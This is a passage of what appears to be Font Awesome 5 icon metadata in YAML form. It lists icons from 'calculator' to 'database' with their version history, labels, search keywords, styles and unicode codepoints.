5.3.0 + - 5.11.0 + label: Calculator + search: + terms: + - abacus + - addition + - arithmetic + - counting + - math + - multiplication + - subtraction + styles: + - solid + unicode: f1ec + voted: false +calendar: + changes: + - '3.1' + - 5.0.0 + - 5.10.2 + label: Calendar + search: + terms: + - calendar-o + - date + - event + - schedule + - time + - when + styles: + - solid + - regular + unicode: f133 + voted: false +calendar-alt: + changes: + - '1' + - 5.0.0 + - 5.6.0 + - 5.7.0 + - 5.10.2 + label: Alternate Calendar + search: + terms: + - calendar + - date + - event + - schedule + - time + - when + styles: + - solid + - regular + unicode: f073 + voted: false +calendar-check: + changes: + - '4.4' + - 5.0.0 + - 5.10.2 + label: Calendar Check + search: + terms: + - accept + - agree + - appointment + - confirm + - correct + - date + - done + - event + - ok + - schedule + - select + - success + - tick + - time + - todo + - when + styles: + - solid + - regular + unicode: f274 + voted: false +calendar-day: + changes: + - 5.6.0 + - 5.10.2 + label: Calendar with Day Focus + search: + terms: + - date + - detail + - event + - focus + - schedule + - single day + - time + - today + - when + styles: + - solid + unicode: f783 + voted: true +calendar-minus: + changes: + - '4.4' + - 5.0.0 + - 5.10.2 + label: Calendar Minus + search: + terms: + - calendar + - date + - delete + - event + - negative + - remove + - schedule + - time + - when + styles: + - solid + - regular + unicode: f272 + voted: false +calendar-plus: + changes: + - '4.4' + - 5.0.0 + - 5.10.2 + label: Calendar Plus + search: + terms: + - add + - calendar + - create + - date + - event + - new + - positive + - schedule + - time + - when + styles: + - solid + - regular + unicode: f271 + voted: false +calendar-times: + changes: + - '4.4' + - 5.0.0 + - 5.10.2 + label: Calendar Times + search: + terms: + - archive + - calendar + - date + - delete + - event + - remove + - schedule + - time + - when + - x + styles: + - solid + - regular + unicode: f273 + voted: false +calendar-week: + changes: + - 5.6.0 + - 5.10.2 + label: Calendar with Week Focus + search: + terms: + - date + - detail + - event + - focus + - schedule + - single week + - time + - today + - when + styles: + - solid + unicode: f784 + voted: true +camera: + changes: + - '1' + - 5.0.0 + label: camera + search: + terms: + - image + - lens + - photo + - picture + - record + - shutter + - video + styles: + - solid + unicode: f030 + voted: false +camera-retro: + changes: + - '1' + - 5.0.0 + - 5.10.1 + label: Retro Camera + search: + terms: + - image + - lens + - photo + - picture + - record + - shutter + - video + styles: + - solid + unicode: f083 + voted: false +campground: + changes: + - 5.4.0 + label: Campground + search: + terms: + - camping + - fall + - outdoors + - teepee + - tent + - tipi + styles: + - solid + unicode: f6bb + voted: false +canadian-maple-leaf: + changes: + - 5.6.0 + - 5.8.0 + label: Canadian Maple Leaf + search: + terms: + - canada + - flag + - flora + - nature + - plant + styles: + - brands + unicode: f785 +candy-cane: + changes: + - 5.6.0 + - 5.10.1 + label: Candy Cane + search: + terms: + - candy + - christmas + - holiday + - mint + - peppermint + - striped + - xmas + styles: + - solid + unicode: f786 +cannabis: + changes: + - 5.1.0 + label: Cannabis + search: + terms: + - bud + - chronic + - drugs + - endica + - endo + - ganja + - marijuana + - mary jane + - pot + - reefer + - sativa + - spliff + - weed + - whacky-tabacky + styles: + - solid + unicode: f55f + voted: false +capsules: + changes: + - 5.0.7 + label: Capsules + search: + terms: + - drugs + - medicine + - pills + - prescription + styles: + - solid + unicode: f46b + voted: false +car: + changes: + - '4.1' + - 5.0.0 + - 5.2.0 + label: Car + search: + terms: + - auto + - automobile + - sedan + - transportation + - travel + - vehicle + styles: + - solid + unicode: f1b9 + voted: false +car-alt: + changes: + - 5.2.0 + - 5.11.0 + - 5.11.1 + label: Alternate Car + search: + terms: + - auto + - automobile + - sedan + - transportation + - travel + - vehicle + styles: + - solid + unicode: f5de + voted: false +car-battery: + changes: + - 5.2.0 + label: Car Battery + search: + terms: + - auto + - electric + - mechanic + - power + styles: + - solid + unicode: f5df + voted: false +car-crash: + changes: + - 5.2.0 + label: Car Crash + search: + terms: + - accident + - auto + - automobile + - insurance + - sedan + - transportation + - vehicle + - wreck + styles: + - solid + unicode: f5e1 + voted: false +car-side: + changes: + - 5.2.0 + label: Car Side + search: + terms: + - auto + - automobile + - sedan + - transportation + - travel + - vehicle + styles: + - solid + unicode: f5e4 + voted: false +caravan: + changes: + - 5.12.0 + label: Caravan + search: + terms: + - camper + - motor home + - rv + - trailer + - travel + styles: + - solid + unicode: f8ff + voted: true +caret-down: + changes: + - '2' + - 5.0.0 + label: Caret Down + search: + terms: + - arrow + - dropdown + - expand + - menu + - more + - triangle + styles: + - solid + unicode: f0d7 + voted: false +caret-left: + changes: + - '2' + - 5.0.0 + label: Caret Left + search: + terms: + - arrow + - back + - previous + - triangle + styles: + - solid + unicode: f0d9 + voted: false +caret-right: + changes: + - '2' + - 5.0.0 + label: Caret Right + search: + terms: + - arrow + - forward + - next + - triangle + styles: + - solid + unicode: f0da + voted: false +caret-square-down: + changes: + - '3.2' + - 5.0.0 + label: Caret Square Down + search: + terms: + - arrow + - caret-square-o-down + - dropdown + - expand + - menu + - more + - triangle + styles: + - solid + - regular + unicode: f150 + voted: false +caret-square-left: + changes: + - '4' + - 5.0.0 + label: Caret Square Left + search: + terms: + - arrow + - back + - caret-square-o-left + - previous + - triangle + styles: + - solid + - regular + unicode: f191 + voted: false +caret-square-right: + changes: + - '3.2' + - 5.0.0 + label: Caret Square Right + search: + terms: + - arrow + - caret-square-o-right + - forward + - next + - triangle + styles: + - solid + - regular + unicode: f152 + voted: false +caret-square-up: + changes: + - '3.2' + - 5.0.0 + label: Caret Square Up + search: + terms: + - arrow + - caret-square-o-up + - collapse + - triangle + - upload + styles: + - solid + - regular + unicode: f151 + voted: false +caret-up: + changes: + - '2' + - 5.0.0 + label: Caret Up + search: + terms: + - arrow + - collapse + - triangle + styles: + - solid + unicode: f0d8 + voted: false +carrot: + changes: + - 5.6.0 + - 5.10.1 + label: Carrot + search: + terms: + - bugs bunny + - orange + - vegan + - vegetable + styles: + - solid + unicode: f787 +cart-arrow-down: + changes: + - '4.3' + - 5.0.0 + label: Shopping Cart Arrow Down + search: + terms: + - download + - save + - shopping + styles: + - solid + unicode: f218 + voted: false +cart-plus: + changes: + - '4.3' + - 5.0.0 + label: Add to Shopping Cart + search: + terms: + - add + - create + - new + - positive + - shopping + styles: + - solid + unicode: f217 + voted: false +cash-register: + changes: + - 5.6.0 + label: Cash Register + search: + terms: + - buy + - cha-ching + - change + - checkout + - commerce + - leaerboard + - machine + - pay + - payment + - purchase + - store + styles: + - solid + unicode: f788 + voted: true +cat: + changes: + - 5.4.0 + - 5.10.1 + label: Cat + search: + terms: + - feline + - halloween + - holiday + - kitten + - kitty + - meow + - pet + styles: + - solid + unicode: f6be + voted: true +cc-amazon-pay: + changes: + - 5.0.2 + label: Amazon Pay Credit Card + search: + terms: [] + styles: + - brands + unicode: f42d + voted: false +cc-amex: + changes: + - '4.2' + - 5.0.0 + - 5.7.0 + label: American Express Credit Card + search: + terms: + - amex + styles: + - brands + unicode: f1f3 + voted: false +cc-apple-pay: + changes: + - 5.0.0 + label: Apple Pay Credit Card + search: + terms: [] + styles: + - brands + unicode: f416 + voted: false +cc-diners-club: + changes: + - '4.4' + - 5.0.0 + label: Diner's Club Credit Card + search: + terms: [] + styles: + - brands + unicode: f24c + voted: false +cc-discover: + changes: + - '4.2' + - 5.0.0 + label: Discover Credit Card + search: + terms: [] + styles: + - brands + unicode: f1f2 + voted: false +cc-jcb: + changes: + - '4.4' + - 5.0.0 + label: JCB Credit Card + search: + terms: [] + styles: + - brands + unicode: f24b + voted: false +cc-mastercard: + changes: + - '4.2' + - 5.0.0 + label: MasterCard Credit Card + search: + terms: [] + styles: + - brands + unicode: f1f1 + voted: false +cc-paypal: + changes: + - '4.2' + - 5.0.0 + label: Paypal Credit Card + search: + terms: [] + styles: + - brands + unicode: f1f4 + voted: false +cc-stripe: + changes: + - '4.2' + - 5.0.0 + label: Stripe Credit Card + search: + terms: [] + styles: + - brands + unicode: f1f5 + voted: false +cc-visa: + changes: + - '4.2' + - 5.0.0 + label: Visa Credit Card + search: + terms: [] + styles: + - brands + unicode: f1f0 + voted: false +centercode: + changes: + - 5.0.0 + label: Centercode + search: + terms: [] + styles: + - brands + unicode: f380 + voted: false +centos: + changes: + - 5.6.0 + - 5.8.0 + label: Centos + search: + terms: + - linux + - operating system + - os + styles: + - brands + unicode: f789 + voted: true +certificate: + changes: + - '2' + - 5.0.0 + - 5.10.1 + - 5.10.2 + label: certificate + search: + terms: + - badge + - star + - verified + styles: + - solid + unicode: f0a3 + voted: false +chair: + changes: + - 5.4.0 + - 5.11.0 + label: Chair + search: + terms: + - furniture + - seat + - sit + styles: + - solid + unicode: f6c0 + voted: true +chalkboard: + changes: + - 5.0.13 + label: Chalkboard + search: + terms: + - blackboard + - learning + - school + - teaching + - whiteboard + - writing + styles: + - solid + unicode: f51b + voted: false +chalkboard-teacher: + changes: + - 5.0.13 + label: Chalkboard Teacher + search: + terms: + - blackboard + - instructor + - learning + - professor + - school + - whiteboard + - writing + styles: + - solid + unicode: f51c + voted: false +charging-station: + changes: + - 5.2.0 + - 5.10.1 + label: Charging Station + search: + terms: + - electric + - ev + - tesla + - vehicle + styles: + - solid + unicode: f5e7 + voted: false +chart-area: + changes: + - '4.2' + - 5.0.0 + label: Area Chart + search: + terms: + - analytics + - area + - chart + - graph + styles: + - solid + unicode: f1fe + voted: false +chart-bar: + changes: + - '1' + - 5.0.0 + - 5.3.0 + label: Bar Chart + search: + terms: + - analytics + - bar + - chart + - graph + styles: + - solid + - regular + unicode: f080 + voted: false +chart-line: + changes: + - '4.2' + - 5.0.0 + - 5.3.0 + label: Line Chart + search: + terms: + - activity + - analytics + - chart + - dashboard + - gain + - graph + - increase + - line + styles: + - solid + unicode: f201 + voted: false +chart-pie: + changes: + - '4.2' + - 5.0.0 + - 5.3.0 + label: Pie Chart + search: + terms: + - analytics + - chart + - diagram + - graph + - pie + styles: + - solid + unicode: f200 + voted: false +check: + changes: + - '1' + - 5.0.0 + label: Check + search: + terms: + - accept + - agree + - checkmark + - confirm + - correct + - done + - notice + - notification + - notify + - ok + - select + - success + - tick + - todo + - 'yes' + styles: + - solid + unicode: f00c + voted: false +check-circle: + changes: + - '1' + - 5.0.0 + label: Check Circle + search: + terms: + - accept + - agree + - confirm + - correct + - done + - ok + - select + - success + - tick + - todo + - 'yes' + styles: + - solid + - regular + unicode: f058 + voted: false +check-double: + changes: + - 5.1.0 + - 5.8.2 + label: Double Check + search: + terms: + - accept + - agree + - checkmark + - confirm + - correct + - done + - notice + - notification + - notify + - ok + - select + - success + - tick + - todo + styles: + - solid + unicode: f560 + voted: true +check-square: + changes: + - '3.1' + - 5.0.0 + label: Check Square + search: + terms: + - accept + - agree + - checkmark + - confirm + - correct + - done + - ok + - select + - success + - tick + - todo + - 'yes' + styles: + - solid + - regular + unicode: f14a + voted: false +cheese: + changes: + - 5.7.0 + label: Cheese + search: + terms: + - cheddar + - curd + - gouda + - melt + - parmesan + - sandwich + - swiss + - wedge + styles: + - solid + unicode: f7ef + voted: false +chess: + changes: + - 5.0.5 + - 5.9.0 + label: Chess + search: + terms: + - board + - castle + - checkmate + - game + - king + - rook + - strategy + - tournament + styles: + - solid + unicode: f439 + voted: false +chess-bishop: + changes: + - 5.0.5 + - 5.9.0 + label: Chess Bishop + search: + terms: + - board + - checkmate + - game + - strategy + styles: + - solid + unicode: f43a + voted: false +chess-board: + changes: + - 5.0.5 + - 5.7.0 + - 5.9.0 + label: Chess Board + search: + terms: + - board + - checkmate + - game + - strategy + styles: + - solid + unicode: f43c + voted: false +chess-king: + changes: + - 5.0.5 + - 5.9.0 + label: Chess King + search: + terms: + - board + - checkmate + - game + - strategy + styles: + - solid + unicode: f43f + voted: false +chess-knight: + changes: + - 5.0.5 + - 5.9.0 + label: Chess Knight + search: + terms: + - board + - checkmate + - game + - horse + - strategy + styles: + - solid + unicode: f441 + voted: false +chess-pawn: + changes: + - 5.0.5 + - 5.9.0 + label: Chess Pawn + search: + terms: + - board + - checkmate + - game + - strategy + styles: + - solid + unicode: f443 + voted: false +chess-queen: + changes: + - 5.0.5 + - 5.9.0 + label: Chess Queen + search: + terms: + - board + - checkmate + - game + - strategy + styles: + - solid + unicode: f445 + voted: false +chess-rook: + changes: + - 5.0.5 + - 5.9.0 + label: Chess Rook + search: + terms: + - board + - castle + - checkmate + - game + - strategy + styles: + - solid + unicode: f447 + voted: false +chevron-circle-down: + changes: + - '3.1' + - 5.0.0 + label: Chevron Circle Down + search: + terms: + - arrow + - download + - dropdown + - menu + - more + styles: + - solid + unicode: f13a + voted: false +chevron-circle-left: + changes: + - '3.1' + - 5.0.0 + label: Chevron Circle Left + search: + terms: + - arrow + - back + - previous + styles: + - solid + unicode: f137 + voted: false +chevron-circle-right: + changes: + - '3.1' + - 5.0.0 + label: Chevron Circle Right + search: + terms: + - arrow + - forward + - next + styles: + - solid + unicode: f138 + voted: false +chevron-circle-up: + changes: + - '3.1' + - 5.0.0 + label: Chevron Circle Up + search: + terms: + - arrow + - collapse + - upload + styles: + - solid + unicode: f139 + voted: false +chevron-down: + changes: + - '1' + - 5.0.0 + label: chevron-down + search: + terms: + - arrow + - download + - expand + styles: + - solid + unicode: f078 + voted: false +chevron-left: + changes: + - '1' + - 5.0.0 + label: chevron-left + search: + terms: + - arrow + - back + - bracket + - previous + styles: + - solid + unicode: f053 + voted: false +chevron-right: + changes: + - '1' + - 5.0.0 + label: chevron-right + search: + terms: + - arrow + - bracket + - forward + - next + styles: + - solid + unicode: f054 + voted: false +chevron-up: + changes: + - '1' + - 5.0.0 + label: chevron-up + search: + terms: + - arrow + - collapse + - upload + styles: + - solid + unicode: f077 + voted: false +child: + changes: + - '4.1' + - 5.0.0 + label: Child + search: + terms: + - boy + - girl + - kid + - toddler + - young + styles: + - solid + unicode: f1ae + voted: false +chrome: + changes: + - '4.4' + - 5.0.0 + label: Chrome + search: + terms: + - browser + styles: + - brands + unicode: f268 + voted: false +chromecast: + changes: + - 5.8.0 + label: Chromecast + search: + terms: [] + styles: + - brands + unicode: f838 +church: + changes: + - 5.0.13 + label: Church + search: + terms: + - building + - cathedral + - chapel + - community + - religion + styles: + - solid + unicode: f51d + voted: true +circle: + changes: + - '3' + - 5.0.0 + - 5.10.1 + - 5.10.2 + label: Circle + search: + terms: + - circle-thin + - diameter + - dot + - ellipse + - notification + - round + styles: + - solid + - regular + unicode: f111 + voted: false +circle-notch: + changes: + - '4.1' + - 5.0.0 + - 5.10.2 + label: Circle Notched + search: + terms: + - circle-o-notch + - diameter + - dot + - ellipse + - round + - spinner + styles: + - solid + unicode: f1ce + voted: false +city: + changes: + - 5.3.0 + label: City + search: + terms: + - buildings + - busy + - skyscrapers + - urban + - windows + styles: + - solid + unicode: f64f + voted: false +clinic-medical: + changes: + - 5.7.0 + label: Medical Clinic + search: + terms: + - covid-19 + - doctor + - general practitioner + - hospital + - infirmary + - medicine + - office + - outpatient + styles: + - solid + unicode: f7f2 + voted: false +clipboard: + changes: + - 5.0.0 + label: Clipboard + search: + terms: + - copy + - notes + - paste + - record + styles: + - solid + - regular + unicode: f328 + voted: false +clipboard-check: + changes: + - 5.0.7 + label: Clipboard with Check + search: + terms: + - accept + - agree + - confirm + - done + - ok + - select + - success + - tick + - todo + - 'yes' + styles: + - solid + unicode: f46c + voted: false +clipboard-list: + changes: + - 5.0.7 + label: Clipboard List + search: + terms: + - checklist + - completed + - done + - finished + - intinerary + - ol + - schedule + - tick + - todo + - ul + styles: + - solid + unicode: f46d + voted: false +clock: + changes: + - '1' + - 5.0.0 + - 5.12.1 + label: Clock + search: + terms: + - date + - late + - schedule + - time + - timer + - timestamp + - watch + styles: + - solid + - regular + unicode: f017 + voted: false +clone: + changes: + - '4.4' + - 5.0.0 + - 5.11.0 + label: Clone + search: + terms: + - arrange + - copy + - duplicate + - paste + styles: + - solid + - regular + unicode: f24d + voted: false +closed-captioning: + changes: + - '4.2' + - 5.0.0 + - 5.10.1 + label: Closed Captioning + search: + terms: + - cc + - deaf + - hearing + - subtitle + - subtitling + - text + - video + styles: + - solid + - regular + unicode: f20a + voted: false +cloud: + changes: + - '2' + - 5.0.0 + - 5.0.11 + label: Cloud + search: + terms: + - atmosphere + - fog + - overcast + - save + - upload + - weather + styles: + - solid + unicode: f0c2 + voted: false +cloud-download-alt: + changes: + - 5.0.0 + - 5.0.11 + label: Alternate Cloud Download + search: + terms: + - download + - export + - save + styles: + - solid + unicode: f381 + voted: false +cloud-meatball: + changes: + - 5.5.0 + label: Cloud with (a chance of) Meatball + search: + terms: + - FLDSMDFR + - food + - spaghetti + - storm + styles: + - solid + unicode: f73b + voted: false +cloud-moon: + changes: + - 5.4.0 + - 5.5.0 + label: Cloud with Moon + search: + terms: + - crescent + - evening + - lunar + - night + - partly cloudy + - sky + styles: + - solid + unicode: f6c3 + voted: false +cloud-moon-rain: + changes: + - 5.5.0 + label: Cloud with Moon and Rain + search: + terms: + - crescent + - evening + - lunar + - night + - partly cloudy + - precipitation + - rain + - sky + - storm + styles: + - solid + unicode: f73c + voted: false +cloud-rain: + changes: + - 5.5.0 + label: Cloud with Rain + search: + terms: + - precipitation + - rain + - sky + - storm + styles: + - solid + unicode: f73d + voted: false +cloud-showers-heavy: + changes: + - 5.5.0 + label: Cloud with Heavy Showers + search: + terms: + - precipitation + - rain + - sky + - storm + styles: + - solid + unicode: f740 + voted: false +cloud-sun: + changes: + - 5.4.0 + - 5.5.0 + label: Cloud with Sun + search: + terms: + - clear + - day + - daytime + - fall + - outdoors + - overcast + - partly cloudy + styles: + - solid + unicode: f6c4 + voted: false +cloud-sun-rain: + changes: + - 5.5.0 + label: Cloud with Sun and Rain + search: + terms: + - day + - overcast + - precipitation + - storm + - summer + - sunshower + styles: + - solid + unicode: f743 + voted: false +cloud-upload-alt: + changes: + - 5.0.0 + - 5.0.11 + label: Alternate Cloud Upload + search: + terms: + - cloud-upload + - import + - save + - upload + styles: + - solid + unicode: f382 + voted: false +cloudflare: + changes: + - 5.15.0 + label: Cloudflare + search: + terms: [] + styles: + - brands + unicode: e07d + voted: false +cloudscale: + changes: + - 5.0.0 + label: cloudscale.ch + search: + terms: [] + styles: + - brands + unicode: f383 + voted: false +cloudsmith: + changes: + - 5.0.0 + label: Cloudsmith + search: + terms: [] + styles: + - brands + unicode: f384 + voted: false +cloudversify: + changes: + - 5.0.0 + label: cloudversify + search: + terms: [] + styles: + - brands + unicode: f385 + voted: false +cocktail: + changes: + - 5.1.0 + - 5.10.1 + label: Cocktail + search: + terms: + - alcohol + - beverage + - drink + - gin + - glass + - margarita + - martini + - vodka + styles: + - solid + unicode: f561 + voted: false +code: + changes: + - '3.1' + - 5.0.0 + label: Code + search: + terms: + - brackets + - code + - development + - html + styles: + - solid + unicode: f121 + voted: false +code-branch: + changes: + - 5.0.0 + label: Code Branch + search: + terms: + - branch + - code-fork + - fork + - git + - github + - rebase + - svn + - vcs + - version + styles: + - solid + unicode: f126 + voted: false +codepen: + changes: + - '4.1' + - 5.0.0 + label: Codepen + search: + terms: [] + styles: + - brands + unicode: f1cb + voted: false +codiepie: + changes: + - '4.5' + - 5.0.0 + label: Codie Pie + search: + terms: [] + styles: + - brands + unicode: f284 + voted: false +coffee: + changes: + - '3' + - 5.0.0 + label: Coffee + search: + terms: + - beverage + - breakfast + - cafe + - drink + - fall + - morning + - mug + - seasonal + - tea + styles: + - solid + unicode: f0f4 + voted: false +cog: + changes: + - '1' + - 5.0.0 + label: cog + search: + terms: + - gear + - mechanical + - settings + - sprocket + - wheel + styles: + - solid + unicode: f013 + voted: false +cogs: + changes: + - '1' + - 5.0.0 + label: cogs + search: + terms: + - gears + - mechanical + - settings + - sprocket + - wheel + styles: + - solid + unicode: f085 + voted: false +coins: + changes: + - 5.0.13 + label: Coins + search: + terms: + - currency + - dime + - financial + - gold + - money + - penny + styles: + - solid + unicode: f51e + voted: true +columns: + changes: + - '2' + - 5.0.0 + label: Columns + search: + terms: + - browser + - dashboard + - organize + - panes + - split + styles: + - solid + unicode: f0db + voted: false +comment: + changes: + - '1' + - 5.0.0 + - 5.0.9 + - 5.10.1 + label: comment + search: + terms: + - bubble + - chat + - commenting + - conversation + - feedback + - message + - note + - notification + - sms + - speech + - texting + styles: + - solid + - regular + unicode: f075 + voted: false +comment-alt: + changes: + - '4.4' + - 5.0.0 + - 5.10.1 + label: Alternate Comment + search: + terms: + - bubble + - chat + - commenting + - conversation + - feedback + - message + - note + - notification + - sms + - speech + - texting + styles: + - solid + - regular + unicode: f27a + voted: false +comment-dollar: + changes: + - 5.3.0 + label: Comment Dollar + search: + terms: + - bubble + - chat + - commenting + - conversation + - feedback + - message + - money + - note + - notification + - pay + - sms + - speech + - spend + - texting + - transfer + styles: + - solid + unicode: f651 + voted: false +comment-dots: + changes: + - 5.0.9 + label: Comment Dots + search: + terms: + - bubble + - chat + - commenting + - conversation + - feedback + - message + - more + - note + - notification + - reply + - sms + - speech + - texting + styles: + - solid + - regular + unicode: f4ad + voted: false +comment-medical: + changes: + - 5.7.0 + label: Alternate Medical Chat + search: + terms: + - advice + - bubble + - chat + - commenting + - conversation + - diagnose + - feedback + - message + - note + - notification + - prescription + - sms + - speech + - texting + styles: + - solid + unicode: f7f5 + voted: false +comment-slash: + changes: + - 5.0.9 + label: Comment Slash + search: + terms: + - bubble + - cancel + - chat + - commenting + - conversation + - feedback + - message + - mute + - note + - notification + - quiet + - sms + - speech + - texting + styles: + - solid + unicode: f4b3 + voted: false +comments: + changes: + - '1' + - 5.0.0 + - 5.0.9 + label: comments + search: + terms: + - bubble + - chat + - commenting + - conversation + - feedback + - message + - note + - notification + - sms + - speech + - texting + styles: + - solid + - regular + unicode: f086 + voted: false +comments-dollar: + changes: + - 5.3.0 + label: Comments Dollar + search: + terms: + - bubble + - chat + - commenting + - conversation + - feedback + - message + - money + - note + - notification + - pay + - sms + - speech + - spend + - texting + - transfer + styles: + - solid + unicode: f653 + voted: false +compact-disc: + changes: + - 5.0.13 + - 5.10.1 + - 5.11.0 + - 5.11.1 + label: Compact Disc + search: + terms: + - album + - bluray + - cd + - disc + - dvd + - media + - movie + - music + - record + - video + - vinyl + styles: + - solid + unicode: f51f + voted: true +compass: + changes: + - '3.2' + - 5.0.0 + - 5.2.0 + - 5.11.0 + - 5.11.1 + label: Compass + search: + terms: + - directions + - directory + - location + - menu + - navigation + - safari + - travel + styles: + - solid + - regular + unicode: f14e + voted: false +compress: + changes: + - 5.0.0 + label: Compress + search: + terms: + - collapse + - fullscreen + - minimize + - move + - resize + - shrink + - smaller + styles: + - solid + unicode: f066 + voted: false +compress-alt: + changes: + - '1' + - 5.0.0 + - 5.12.0 + label: Alternate Compress + search: + terms: + - collapse + - fullscreen + - minimize + - move + - resize + - shrink + - smaller + styles: + - solid + unicode: f422 + voted: false +compress-arrows-alt: + changes: + - 5.6.0 + label: Alternate Compress Arrows + search: + terms: + - collapse + - fullscreen + - minimize + - move + - resize + - shrink + - smaller + styles: + - solid + unicode: f78c + voted: true +concierge-bell: + changes: + - 5.1.0 + label: Concierge Bell + search: + terms: + - attention + - hotel + - receptionist + - service + - support + styles: + - solid + unicode: f562 + voted: false +confluence: + changes: + - 5.6.0 + label: Confluence + search: + terms: + - atlassian + styles: + - brands + unicode: f78d + voted: true +connectdevelop: + changes: + - '4.3' + - 5.0.0 + label: Connect Develop + search: + terms: [] + styles: + - brands + unicode: f20e + voted: false +contao: + changes: + - '4.4' + - 5.0.0 + label: Contao + search: + terms: [] + styles: + - brands + unicode: f26d + voted: false +cookie: + changes: + - 5.1.0 + label: Cookie + search: + terms: + - baked good + - chips + - chocolate + - eat + - snack + - sweet + - treat + styles: + - solid + unicode: f563 + voted: true +cookie-bite: + changes: + - 5.1.0 + label: Cookie Bite + search: + terms: + - baked good + - bitten + - chips + - chocolate + - eat + - snack + - sweet + - treat + styles: + - solid + unicode: f564 + voted: true +copy: + changes: + - '2' + - 5.0.0 + - 5.10.2 + label: Copy + search: + terms: + - clone + - duplicate + - file + - files-o + - paper + - paste + styles: + - solid + - regular + unicode: f0c5 + voted: false +copyright: + changes: + - '4.2' + - 5.0.0 + - 5.10.1 + - 5.10.2 + label: Copyright + search: + terms: + - brand + - mark + - register + - trademark + styles: + - solid + - regular + unicode: f1f9 + voted: false +cotton-bureau: + changes: + - 5.10.0 + label: Cotton Bureau + search: + terms: + - clothing + - t-shirts + - tshirts + styles: + - brands + unicode: f89e +couch: + changes: + - 5.0.9 + label: Couch + search: + terms: + - chair + - cushion + - furniture + - relax + - sofa + styles: + - solid + unicode: f4b8 + voted: false +cpanel: + changes: + - 5.0.0 + label: cPanel + search: + terms: [] + styles: + - brands + unicode: f388 + voted: false +creative-commons: + changes: + - '4.4' + - 5.0.0 + - 5.0.11 + - 5.1.0 + label: Creative Commons + search: + terms: [] + styles: + - brands + unicode: f25e + voted: false +creative-commons-by: + changes: + - 5.0.11 + label: Creative Commons Attribution + search: + terms: [] + styles: + - brands + unicode: f4e7 + voted: false +creative-commons-nc: + changes: + - 5.0.11 + label: Creative Commons Noncommercial + search: + terms: [] + styles: + - brands + unicode: f4e8 + voted: false +creative-commons-nc-eu: + changes: + - 5.0.11 + label: Creative Commons Noncommercial (Euro Sign) + search: + terms: [] + styles: + - brands + unicode: f4e9 + voted: false +creative-commons-nc-jp: + changes: + - 5.0.11 + label: Creative Commons Noncommercial (Yen Sign) + search: + terms: [] + styles: + - brands + unicode: f4ea + voted: false +creative-commons-nd: + changes: + - 5.0.11 + label: Creative Commons No Derivative Works + search: + terms: [] + styles: + - brands + unicode: f4eb + voted: false +creative-commons-pd: + changes: + - 5.0.11 + label: Creative Commons Public Domain + search: + terms: [] + styles: + - brands + unicode: f4ec + voted: false +creative-commons-pd-alt: + changes: + - 5.0.11 + label: Alternate Creative Commons Public Domain + search: + terms: [] + styles: + - brands + unicode: f4ed + voted: false +creative-commons-remix: + changes: + - 5.0.11 + label: Creative Commons Remix + search: + terms: [] + styles: + - brands + unicode: f4ee + voted: false +creative-commons-sa: + changes: + - 5.0.11 + label: Creative Commons Share Alike + search: + terms: [] + styles: + - brands + unicode: f4ef + voted: false +creative-commons-sampling: + changes: + - 5.0.11 + label: Creative Commons Sampling + search: + terms: [] + styles: + - brands + unicode: f4f0 + voted: false +creative-commons-sampling-plus: + changes: + - 5.0.11 + label: Creative Commons Sampling + + search: + terms: [] + styles: + - brands + unicode: f4f1 + voted: false +creative-commons-share: + changes: + - 5.0.11 + label: Creative Commons Share + search: + terms: [] + styles: + - brands + unicode: f4f2 + voted: false +creative-commons-zero: + changes: + - 5.0.11 + - 5.4.0 + label: Creative Commons CC0 + search: + terms: [] + styles: + - brands + unicode: f4f3 + voted: false +credit-card: + changes: + - '2' + - 5.0.0 + label: Credit Card + search: + terms: + - buy + - checkout + - credit-card-alt + - debit + - money + - payment + - purchase + styles: + - solid + - regular + unicode: f09d + voted: false +critical-role: + changes: + - 5.4.0 + - 5.8.0 + label: Critical Role + search: + terms: + - Dungeons & Dragons + - d&d + - dnd + - fantasy + - game + - gaming + - tabletop + styles: + - brands + unicode: f6c9 + voted: false +crop: + changes: + - '3.1' + - 5.0.0 + - 5.1.0 + label: crop + search: + terms: + - design + - frame + - mask + - resize + - shrink + styles: + - solid + unicode: f125 + voted: false +crop-alt: + changes: + - 5.1.0 + label: Alternate Crop + search: + terms: + - design + - frame + - mask + - resize + - shrink + styles: + - solid + unicode: f565 + voted: false +cross: + changes: + - 5.3.0 + - 5.10.1 + label: Cross + search: + terms: + - catholicism + - christianity + - church + - jesus + styles: + - solid + unicode: f654 + voted: false +crosshairs: + changes: + - '1' + - 5.0.0 + label: Crosshairs + search: + terms: + - aim + - bullseye + - gpd + - picker + - position + styles: + - solid + unicode: f05b + voted: false +crow: + changes: + - 5.0.13 + label: Crow + search: + terms: + - bird + - bullfrog + - fauna + - halloween + - holiday + - toad + styles: + - solid + unicode: f520 + voted: false +crown: + changes: + - 5.0.13 + label: Crown + search: + terms: + - award + - favorite + - king + - queen + - royal + - tiara + styles: + - solid + unicode: f521 + voted: true +crutch: + changes: + - 5.7.0 + label: Crutch + search: + terms: + - cane + - injury + - mobility + - wheelchair + styles: + - solid + unicode: f7f7 + voted: false +css3: + changes: + - '3.1' + - 5.0.0 + label: CSS 3 Logo + search: + terms: + - code + styles: + - brands + unicode: f13c + voted: false +css3-alt: + changes: + - 5.0.0 + label: Alternate CSS3 Logo + search: + terms: [] + styles: + - brands + unicode: f38b + voted: false +cube: + changes: + - '4.1' + - 5.0.0 + label: Cube + search: + terms: + - 3d + - block + - dice + - package + - square + - tesseract + styles: + - solid + unicode: f1b2 + voted: false +cubes: + changes: + - '4.1' + - 5.0.0 + label: Cubes + search: + terms: + - 3d + - block + - dice + - package + - pyramid + - square + - stack + - tesseract + styles: + - solid + unicode: f1b3 + voted: false +cut: + changes: + - '2' + - 5.0.0 + - 5.1.0 + label: Cut + search: + terms: + - clip + - scissors + - snip + styles: + - solid + unicode: f0c4 + voted: false +cuttlefish: + changes: + - 5.0.0 + label: Cuttlefish + search: + terms: [] + styles: + - brands + unicode: f38c + voted: false +d-and-d: + changes: + - 5.0.0 + label: Dungeons & Dragons + search: + terms: [] + styles: + - brands + unicode: f38d + voted: false +d-and-d-beyond: + changes: + - 5.4.0 + label: D&D Beyond + search: + terms: + - Dungeons & Dragons + - d&d + - dnd + - fantasy + - gaming + - tabletop + styles: + - brands + unicode: f6ca + voted: false +dailymotion: + changes: + - 5.12.1 + - 5.14.0 + label: dailymotion + search: + terms: [] + styles: + - brands + unicode: e052 + voted: true +dashcube: + changes: + - '4.3' + - 5.0.0 + - 5.0.3 + label: DashCube + search: + terms: [] + styles: + - brands + unicode: f210 + voted: false +database: + changes: + - '4.1' + - 5.0.0 + label: Database + search: + terms: + - computer + - development + - directory + - memory + - 